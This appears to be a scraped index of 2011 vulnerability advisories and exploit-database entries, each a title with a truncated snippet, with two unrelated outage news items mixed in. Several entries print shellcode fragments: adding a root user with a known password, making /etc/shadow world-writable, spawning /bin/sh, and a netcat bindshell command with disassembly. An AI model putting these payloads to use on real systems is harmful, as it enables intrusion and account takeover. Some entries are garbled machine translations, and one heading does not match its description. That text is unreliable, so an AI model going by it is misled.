Herberlin Bremsserver <= 3.0 Directory Traversal Vulnerability - Active Check

Herberlin Bremsserver is prone to a directory traversal vulnerability. SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability

Summary SetSeed is a self-hosted CMS which lets you rapidly build and deploy complete websites and online stores for your clients. Description SetSeed CMS is vulnerable to SQL injection. A remote attacker could send specially-crafted SQL statements to the vulnerable script using the cookie input...

Thousand Bo cms map leads to the background and editor storm drain-vulnerability warning-the black bar safety net

Brief description: Three Ming network Technology Co., Ltd. do full is thousands of Bo CMS open source, AdminSiteMap. asp files are not filtered background address and lead to vulnerabilities Detailed description: The site is thousands of Bo CMS open source, because there is no set AdminSiteMap. a...

Code injection

The cat6000-dot1x component in Cisco IOS 12.2 before 12.233SXI7 does not properly handle an external loop between a pair of dot1x enabled ports, which allows remote attackers to cause a denial of service traffic storm via unspecified vectors that trigger many unicast EAPoL Protocol Data Units PDU...

CVE-2011-2057

The cat6000-dot1x component in Cisco IOS 12.2 before 12.233SXI7 does not properly handle 1 a loop between a dot1x enabled port and an open-authentication dot1x enabled port and 2 a loop between a dot1x enabled port and a non-dot1x port, which allows remote attackers to cause a denial of service...

HP Easy Printer Care Software HPTicketMgr.dll ActiveX Control Remote Code Execution

Added: 08/29/2011 CVE: CVE-2011-2404 BID: 49100 OSVDB: 74510 Background HP Easy Printer Care Software is a tool to control and monitor up to 20 HP printers. Problem HP Easy Printer Care Software HPTicketMgr.dll is vulnerable to directory traversal due to insufficient input validation by the...

HP Easy Printer Care Software HPTicketMgr.dll ActiveX Control Remote Code Execution

Added: 08/29/2011 CVE: CVE-2011-2404 BID: 49100 OSVDB: 74510 Background HP Easy Printer Care Software is a tool to control and monitor up to 20 HP printers. Problem HP Easy Printer Care Software HPTicketMgr.dll is vulnerable to directory traversal due to insufficient input validation by the...

foosun 0day latest injection vulnerability-vulnerability warning-the black bar safety net

Wind noise foosun of the registration document the presence of vulnerabilities. Hackers can storm the administrator account and password. Vulnerability file: www.xxx.com/user/SetNextOptions.asp Using a simple method: Storm administrator account:...

PG eLMS Pro vDEC_2007_01 Multiple Blind SQL Injection Vulnerabilities

Summary eLMS Pro solution is an outstanding and yet simple Learning Management system. Our product is designed for any education formations: from small distance training companies up to big colleges and universities. The system allows to build courses, import SCORM content, deploy online learning...

PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938

No description provided by source. ?php / Jonathan Salwan - @shellstorm http://shell-storm.org 2011-06-04 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1938 Stack-based buffer overflow in the socketconnect function in ext/sockets/sockets.c in PHP 5.3.3 through 5.3.6 might allow...

SuperH (sh4) Add root user with password

/ Title: Linux/SuperH - sh4 - add root user with password - 143 bytes Date: 2011-06-23 Tested on: debian-sh4 2.6.32-5-sh7751r Author: Jonathan Salwan - twitter: @shellstorm http://shell-storm.org Informations: ------------- - user: shell-storm - pswd: toor - uid : 0 open: mov 5, r3 mova @130, pc,...

SuperH sh4 Add root user with password

SuperH sh4 Add root user with password. Shellcode exploit for sh4 platform / Title: Linux/SuperH - sh4 - add root user with password - 143 bytes Date: 2011-06-23 Tested on: debian-sh4 2.6.32-5-sh7751r Author: Jonathan Salwan - twitter: @jonathansalwan http://shell-storm.org Informations:...

Linux/SuperH-sh4-setuid(0)-chmod("/etc/shadow", 0666)-exit(0)-43 bytes

/ Title: Linux/SuperH - sh4 - setuid0 - chmod"/etc/shadow", 0666 - exit0 - 43 bytes Date: 2011-06-22 Tested on: Debian-sh4 2.6.32-5-sh7751r Author: Jonathan Salwan - twitter: @shellstorm http://shell-storm.org seteuid: mov 23, r3 xor r4, r4 trapa 2 chmod: mov 15, r3 mova @24, pc, r0 mov r0, r4 mo...

Linux/SuperH (sh4) - execve("/bin/sh", 0, 0) Shellcode (19 bytes)

Linux/SuperH sh4 - execve"/bin/sh", 0, 0 Shellcode 19 bytes. Shellcode exploit for SuperHSH4 platform / | Title: Linux/SuperH - sh4 execve"/bin/sh", 0, 0 - 19 bytes | Date: 2011-06-22 | Tested on: Debian-sh4 2.6.32-5-sh7751r | Author: Florian Gaultier - agix - twitter: @Agixid | |...

Sony CEO Apologizes to Fans and Partners at E3

Sony Computer Entertainment of America’s President and CEO, Jack Tretton kicked off his company’s E3 conference appearance with an apology to all those affected by the outage that has plagued Sony for better part of the last two months. Tretton started his speech by addressing what he referred to...

impressCMS <= 1.2.4_final (FU/RFI) Multiple Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

Amazon: Faulty Upgrade Caused EC2 Outtage

Amazon’s multi day outtage on its Elastic Computer Cloud EC2 started with a faulty upgrade to one of its East Coast facility just after midnight on April 21, the company admitted in a blog post on Thursday. The network change, described as part of “normal AWS Amazon Web Services scaling activity,...

Linux/x86 - netcat bindshell port 6666 - 69 bytes

No description provided by source. / Title: Linux/x86 - netcat bindshell port 6666 - 69 bytes Date: 2011-04-20 Author: Jonathan Salwan http://shell-storm.org http://twitter.com/!/shellstorm /usr/bin/netcat -ltp6666 -e/bin/sh 8048054 .text: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 804805...

Linux/x86 - netcat bindshell port 6666 - 69 bytes

Linux/x86 - netcat bindshell port 6666 - 69 bytes. Shellcode exploit for linux platform / Title: Linux/x86 - netcat bindshell port 6666 - 69 bytes Date: 2011-04-20 Author: Jonathan Salwan http://shell-storm.org http://twitter.com/jonathansalwan /usr/bin/netcat -ltp6666 -e/bin/sh 8048054 : 8048054...

Istgah CMS Cross Site Scripting / SQL Injection

=========================================================================== Istgah Cms Multiple Vulnerability =========================================================================== Name: Istgah Cms Multiple Vulnerability Vendor: http://www.iran-team.com/agahi1.html Price: $40 Date: 2011-04-1...